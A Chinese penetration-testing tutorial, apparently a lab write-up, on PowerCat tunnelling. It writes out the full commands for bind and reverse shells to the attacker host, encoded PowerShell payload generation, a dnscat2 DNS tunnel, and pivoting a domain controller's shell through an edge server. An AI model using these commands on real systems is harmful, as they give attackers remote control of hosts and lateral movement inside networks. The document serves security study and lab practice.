【渗透测试笔记】之【内网渗透——传输层隧道(PowerCat的使用)】

写在前面:PowerCat是PowerShell版本的nc,主要用于windows平台。

1 实验环境

kali(攻击机,外网地址:192.168.8.48)
Windows2012(边界服务器,外网地址:192.168.8.57,内网地址:10.1.1.10)
CentOS7(边界服务器,外网地址:192.168.8.35,内网地址:10.1.1.13)
DC(内网地址:10.1.1.2)
【渗透测试笔记】之【内网渗透——传输层隧道(PowerCat的使用)】

2 下载与部署

2.1 下载

下载地址:https://github.com/besimorhino/powercat

2.2 导入

Import-Module .\powercat.ps1

可能会出现ps权限不足的情况:
【渗透测试笔记】之【内网渗透——传输层隧道(PowerCat的使用)】
修改ps权限后再导入(需要管理员权限):

Set-ExecutionPolicy Unrestricted
y
Import-Module .\powercat.ps1

【渗透测试笔记】之【内网渗透——传输层隧道(PowerCat的使用)】

3 使用方法

3.1 nc 正向连接PowerCat

3.1.1 边界服务器

Windows2012(边界服务器,外网地址:192.168.8.57,内网地址:10.1.1.10)

powercat -l -p 4444 -e cmd.exe -v
# 监听4444端口
powercat -l -p 4444 -ep -v
# 回连powershell

【渗透测试笔记】之【内网渗透——传输层隧道(PowerCat的使用)】

3.1.2 攻击机

kali(攻击机,外网地址:192.168.8.48)

nc 192.168.8.57 4444 -vv

【渗透测试笔记】之【内网渗透——传输层隧道(PowerCat的使用)】

3.2 PowerCat 反向连接nc

3.2.1 攻击机

kali(攻击机,外网地址:192.168.8.48)

nc -l -p 4444 -vv
# 监听4444端口

【渗透测试笔记】之【内网渗透——传输层隧道(PowerCat的使用)】

3.2.2 边界服务器

Windows2012(边界服务器,外网地址:192.168.8.57,内网地址:10.1.1.10)

powercat -c 192.168.8.48 -p 4444 -v -e cmd.exe
# 返回cmd
powercat -c 192.168.8.48 -p 4444 -v -ep
# 返回powershell

返回cmd:
【渗透测试笔记】之【内网渗透——传输层隧道(PowerCat的使用)】
kali上成功接收:
【渗透测试笔记】之【内网渗透——传输层隧道(PowerCat的使用)】
返回powershell:
【渗透测试笔记】之【内网渗透——传输层隧道(PowerCat的使用)】

【渗透测试笔记】之【内网渗透——传输层隧道(PowerCat的使用)】

3.3 文件传输

3.3.1 接收方

DC(内网地址:10.1.1.2)

powercat -l -p 4444 -of C:\Windows\Temp\1.txt -v
# -of:文件储存位置及名称

【渗透测试笔记】之【内网渗透——传输层隧道(PowerCat的使用)】

3.3.2 发送方

边界服务器

Windows2012(边界服务器,外网地址:192.168.8.57,内网地址:10.1.1.10)

powercat -c 10.1.1.2 -p 4444 -i C:\Windows\Temp\1.txt -v
# -i:文件发送路径及名称

【渗透测试笔记】之【内网渗透——传输层隧道(PowerCat的使用)】
可在里面追加内容,如果不需要追加,Ctrl+C传输结束。

3.4 生成PowerShell payload

连接方式同上,正向nc连接powercat,反向powercat反弹到nc。只是将受害机的执行方式变为了ps脚本。
主要用到的参数:

-g:生成powershell payload
-ge:生成经过编码的payload
# 经过编码的payload利用方式:powershell -E 编码后的payload

3.4.1 正向shell

  1. 生成payload:
powercat -l -p 4444 -e cmd.exe -v -g >> shell.ps1
# -p指定监听端口

【渗透测试笔记】之【内网渗透——传输层隧道(PowerCat的使用)】

  1. 在受害机执行payload:
    【渗透测试笔记】之【内网渗透——传输层隧道(PowerCat的使用)】
  2. kali正向连接:
nc 192.168.8.57 4444 -vv

【渗透测试笔记】之【内网渗透——传输层隧道(PowerCat的使用)】

3.4.2 反弹shell

  1. kali开启监听
nc -l -p 4444 -vv

【渗透测试笔记】之【内网渗透——传输层隧道(PowerCat的使用)】

  1. 生成反弹shell payload:
powercat -c 192.168.8.48 -p 4444 -v -e cmd.exe -g >> shell.ps1

【渗透测试笔记】之【内网渗透——传输层隧道(PowerCat的使用)】
3. 执行payload:
【渗透测试笔记】之【内网渗透——传输层隧道(PowerCat的使用)】
【渗透测试笔记】之【内网渗透——传输层隧道(PowerCat的使用)】

3.5 PowerCat DNS 隧道通信

powercat的dns通信服务端是基于dnscat设计的,所以需要先安装服务端。

3.5.1 下载与部署

dnscat下载地址:https://github.com/iagox86/dnscat2/tags

kali(攻击机,外网地址:192.168.8.48)

git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/server/
gem install bundler
bundle install

【渗透测试笔记】之【内网渗透——传输层隧道(PowerCat的使用)】

3.5.2 使用方法

攻击机

kali(攻击机,外网地址:192.168.8.48)

ruby dnscat2.rb ttpowercat.test -e open --no-cache

【渗透测试笔记】之【内网渗透——传输层隧道(PowerCat的使用)】

受害机

Windows2012(边界服务器,外网地址:192.168.8.57,内网地址:10.1.1.10)

powercat -c 192.168.8.48 -p 53 -dns ttpowercat.test -e cmd.exe

【渗透测试笔记】之【内网渗透——传输层隧道(PowerCat的使用)】

kali成功接收到一个session,session为1,输入

session -i 1

进入会话即可:
【渗透测试笔记】之【内网渗透——传输层隧道(PowerCat的使用)】

3.6 内网转发

假设kali(攻击机,外网地址:192.168.8.48)拿到了Windows2012(边界服务器,外网地址:192.168.8.57,内网地址:10.1.1.10),通过Windows2012又拿到了DC(内网地址:10.1.1.2)的权限,但是DC不出网,这时可以利用Windows2012作为跳板机将DC的shell转发到kali上。

3.6.1 nc作为服务端(TCP协议)

DC(内网地址:10.1.1.2)

powercat -l -v -p 4444 -e cmd.exe
# 监听4444

【渗透测试笔记】之【内网渗透——传输层隧道(PowerCat的使用)】
Windows2012(边界服务器,外网地址:192.168.8.57,内网地址:10.1.1.10)

powercat -l -v -p 5555 -r tcp:10.1.1.2:4444
# 监听5555

【渗透测试笔记】之【内网渗透——传输层隧道(PowerCat的使用)】

kali(攻击机,外网地址:192.168.8.48)

nc 192.168.8.57 5555 -vv

成功获取到DC的shell:
【渗透测试笔记】之【内网渗透——传输层隧道(PowerCat的使用)】

3.6.2 dnscat作为服务端(dns协议)

kali(攻击机,外网地址:192.168.8.48)

ruby dnscat2.rb ttpowercat.test -e open --no-cache

【渗透测试笔记】之【内网渗透——传输层隧道(PowerCat的使用)】

Windows2012(边界服务器,外网地址:192.168.8.57,内网地址:10.1.1.10)

powercat -l -p 4444 -r dns:192.168.8.48::ttpowercat.test
# 监听4444发送给攻击机

【渗透测试笔记】之【内网渗透——传输层隧道(PowerCat的使用)】

DC(内网地址:10.1.1.2)

powercat -c 10.1.1.10 -p 4444 -e cmd.exe -v
# 将shell反弹给跳板机

【渗透测试笔记】之【内网渗透——传输层隧道(PowerCat的使用)】
成功获得DC的shell:
【渗透测试笔记】之【内网渗透——传输层隧道(PowerCat的使用)】

上一篇:正则表达式30分钟入门教程


下一篇:交互式shell